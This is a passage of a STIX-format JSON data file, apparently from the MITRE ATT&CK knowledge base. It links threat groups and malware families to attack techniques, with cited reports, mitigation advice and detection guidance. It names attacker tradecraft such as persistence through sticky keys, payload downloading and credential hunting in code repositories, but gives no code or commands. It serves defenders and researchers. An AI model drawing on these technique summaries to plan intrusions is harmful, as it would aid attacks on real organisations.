"intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7288054b-0679-497a-b4c5-090801b06941", "type": "relationship", "created": "2020-05-12T21:56:32.909Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-27T23:35:41.300Z", "description": "[ShimRat](https://attack.mitre.org/software/S0444) can uninstall itself from compromised hosts, as well create and modify directories, delete, move, copy, and rename files.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--728c2a84-ac7d-4b17-a287-4c692d717065", "created": "2019-09-23T22:53:30.175Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:27:10.527Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) leveraged sticky keys to establish persistence.(Citation: FireEye APT41 Aug 2019) ", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--728dce0a-125c-4d66-8622-36d4d909352b", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", "source_name": "Proofpoint Leviathan Oct 2017"}, {"source_name": "FireEye Periscope March 2018", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}], "modified": "2019-04-25T12:24:57.301Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used JavaScript to create a shortcut file in the Startup folder that points to its main backdoor.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--72904b3d-5b24-4698-8094-8919f3bda494", "type": "relationship", "created": "2020-01-30T16:18:37.239Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T12:55:23.520Z", "description": "Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7292fecb-86cc-4e0b-9e46-b8535f68e05e", "type": "relationship", "created": "2022-03-30T14:26:51.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.873Z", "description": "Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7296a94e-49f1-40b9-ae7a-42dd0ffa143c", "type": "relationship", "created": "2022-03-30T14:26:51.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.868Z", "description": "Monitor for contextual data about a firewall and activity around it such as name, policy, or status", "source_ref": "x-mitre-data-component--746f095a-f84c-4ccc-90a5-c7caa5c100a2", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7296e1e2-514d-4a6c-a1fe-18558a5e3b0f", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "source_name": "Cylance Dust Storm"}], "modified": "2022-01-19T21:14:43.530Z", "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to obtain screenshots of the compromised system.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--72998c1e-2455-49f4-bb03-5ffae89433b5", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--729d8ddd-b1e1-4076-b98c-3d5497dffd6e", "type": "relationship", "created": "2019-06-05T13:46:47.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf", "source_name": "Fidelis njRAT June 2013"}, {"description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/", "source_name": "Trend Micro njRAT 2018"}], "modified": "2020-08-03T19:28:18.299Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) has modified the Windows firewall to allow itself to communicate through the firewall.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--729f4b9b-2d25-4e69-9a9b-adaa62c2ee31", "created": "2021-03-11T16:59:40.991Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Leonardo Turla Penquin May 2020", "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-28T21:27:07.138Z", "description": "[Penquin](https://attack.mitre.org/software/S0587) can execute the command code <code>do_download</code> to retrieve remote files from C2.(Citation: Leonardo Turla Penquin May 2020)", "relationship_type": "uses", "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--72a10804-bc08-47a8-92ec-8e173b30705e", "created": "2020-08-03T19:28:18.112Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Trend Micro njRAT 2018", "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T00:34:11.717Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) has included a base64 encoded executable.(Citation: Trend Micro njRAT 2018)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--72a914ff-e640-4ea3-9c61-d144a988e3a7", "created": "2024-01-22T19:34:06.784Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat Check Logs October 2023", "description": "Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-22T19:34:06.784Z", "description": "[Pcexter](https://attack.mitre.org/software/S1102) has the ability to search for files in specified directories.(Citation: Kaspersky ToddyCat Check Logs October 2023)", "relationship_type": "uses", "source_ref": "malware--e4feffc2-53d1-45c9-904e-adb9faca0d15", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--72ac0ee1-24c0-4b4e-b96d-f42575ce9af8", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT37 Feb 2018", "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}], "modified": "2018-10-17T00:14:20.652Z", "description": "can download and execute a second-stage payload.(Citation: FireEye APT37 Feb 2018)", "relationship_type": "uses", "source_ref": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--72b03734-7e03-4cfe-8f0f-2d366febfb79", "created": "2019-06-05T17:31:22.358Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro Ursnif Mar 2015", "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", "url": "https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-10T15:11:54.892Z", "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used strings from legitimate system files and existing folders for its file, folder, and Registry entry names.(Citation: TrendMicro Ursnif Mar 2015)", "relationship_type": "uses", "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--72b1c4ab-81ca-47a4-a541-ceb44580c87b", "type": "relationship", "created": "2020-06-23T19:53:58.405Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", "source_name": "FireEye FIN7 Aug 2018"}, {"source_name": "Flashpoint FIN 7 March 2019", "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/", "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019."}, {"url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", "source_name": "FireEye FIN7 Aug 2018"}], "modified": "2020-06-24T19:03:20.236Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) used JavaScript scripts to help perform tasks on the victim's machine.(Citation: FireEye FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)(Citation: FireEye FIN7 Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--72b30ddb-137c-4799-bacd-ab17aa2d01fc", "created": "2020-11-10T16:04:00.641Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", "description": "DHS/CISA. (2020, October 28). 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Retrieved May 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[LAPSUS$](https://attack.mitre.org/groups/G1004) has searched public code repositories for exposed credentials.(Citation: MSTIC DEV-0537 Mar 2022)", "modified": "2022-08-09T13:04:57.816Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7", "target_ref": "attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--72cb3a93-f4c1-43a8-9a62-43bf1f6f4889", "type": "relationship", "created": "2019-09-13T17:14:47.391Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. 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Retrieved February 22, 2018.", "url": "https://www.symantec.com/connect/blogs/how-trojanhydraq-stays-your-computer"}], "modified": "2020-02-18T03:48:53.599Z", "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates new services to establish persistence.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)(Citation: Symantec Hydraq Persistence Jan 2010)", "relationship_type": "uses", "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--72e501db-419e-4fe9-9f10-fa8f266d829b", "type": "relationship", "created": "2019-01-29T20:05:36.514Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DigiTrust NanoCore Jan 2017", "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/", "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."}, {"source_name": "PaloAlto NanoCore Feb 2016", "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/", "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."}], "modified": "2019-04-17T20:47:23.853Z", "description": "[NanoCore](https://attack.mitre.org/software/S0336) can capture audio feeds from the system.(Citation: DigiTrust NanoCore Jan 2017)(Citation: PaloAlto NanoCore Feb 2016)", "relationship_type": "uses", "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--72ec975a-43b4-4766-a2f4-385b6112858d", "created": "2021-12-02T15:20:09.440Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos TinyTurla September 2021", "url": "https://blog.talosintelligence.com/2021/09/tinyturla.html", "description": "Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TinyTurla](https://attack.mitre.org/software/S0668) has the ability to act as a second-stage dropper used to infect the system with additional malware.(Citation: Talos TinyTurla September 2021)", "modified": "2022-04-16T21:14:36.327Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--72f0af8b-eb82-40d2-aa74-3ab60b72afb8", "type": "relationship", "created": "2021-10-01T17:13:49.079Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 KerrDown February 2019", "url": "https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/", "description": "Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus\u2019 new Downloader, KerrDown. Retrieved October 1, 2021."}], "modified": "2021-10-01T17:39:35.886Z", "description": "[Kerrdown](https://attack.mitre.org/software/S0585) can encrypt, encode, and compress multiple layers of shellcode.(Citation: Unit 42 KerrDown February 2019)", "relationship_type": "uses", "source_ref": "malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--72f11e69-93a9-4572-8217-0d6782b3cd44", "created": "2022-06-06T18:37:39.536Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Accenture Lyceum Targets November 2021", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns", "description": "Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."}, {"source_name": "ClearSky Siamesekitten August 2021", "url": "https://www.clearskysec.com/siamesekitten/", "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022."}, {"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Milan](https://attack.mitre.org/software/S1015) can use HTTPS for communication with C2.(Citation: ClearSky Siamesekitten August 2021)(Citation: Kaspersky Lyceum October 2021)(Citation: Accenture Lyceum Targets November 2021)", "modified": "2022-06-16T14:09:40.277Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--72f4d17a-be89-446a-a728-133cb7048ab9", "type": "relationship", "created": "2022-03-30T14:26:51.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.868Z", "description": "Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). 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Retrieved July 26, 2021."}], "modified": "2021-07-26T17:53:02.254Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used compromised Office 365 service accounts with Global Administrator privileges to collect email from user inboxes.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--72f5ca9f-6b0e-4051-b2ae-da1b59e6ed2b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Github Koadic", "description": "Magius, J., et al. (2017, July 19). Koadic. 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Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.", "source_name": "TechNet Credential Guard"}, {"url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard", "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.", "source_name": "GitHub SHB Credential Guard"}], "modified": "2021-10-15T19:55:01.665Z", "description": "With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. It also does not protect against all forms of credential dumping.(Citation: TechNet Credential Guard)(Citation: GitHub SHB Credential Guard)", "relationship_type": "mitigates", "source_ref": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--72f9bf47-61ac-42c8-acbf-65be7c25af0f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET OceanLotus", "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"}, {"source_name": "Volexity Ocean Lotus November 2020", "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}], "modified": "2020-11-24T21:19:49.896Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has infected victims by tricking them into visiting compromised watering hole websites.(Citation: ESET OceanLotus)(Citation: Volexity Ocean Lotus November 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--72fe5021-bace-41e4-9cc6-73af415225ac", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto MoonWind March 2017", "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", "url": 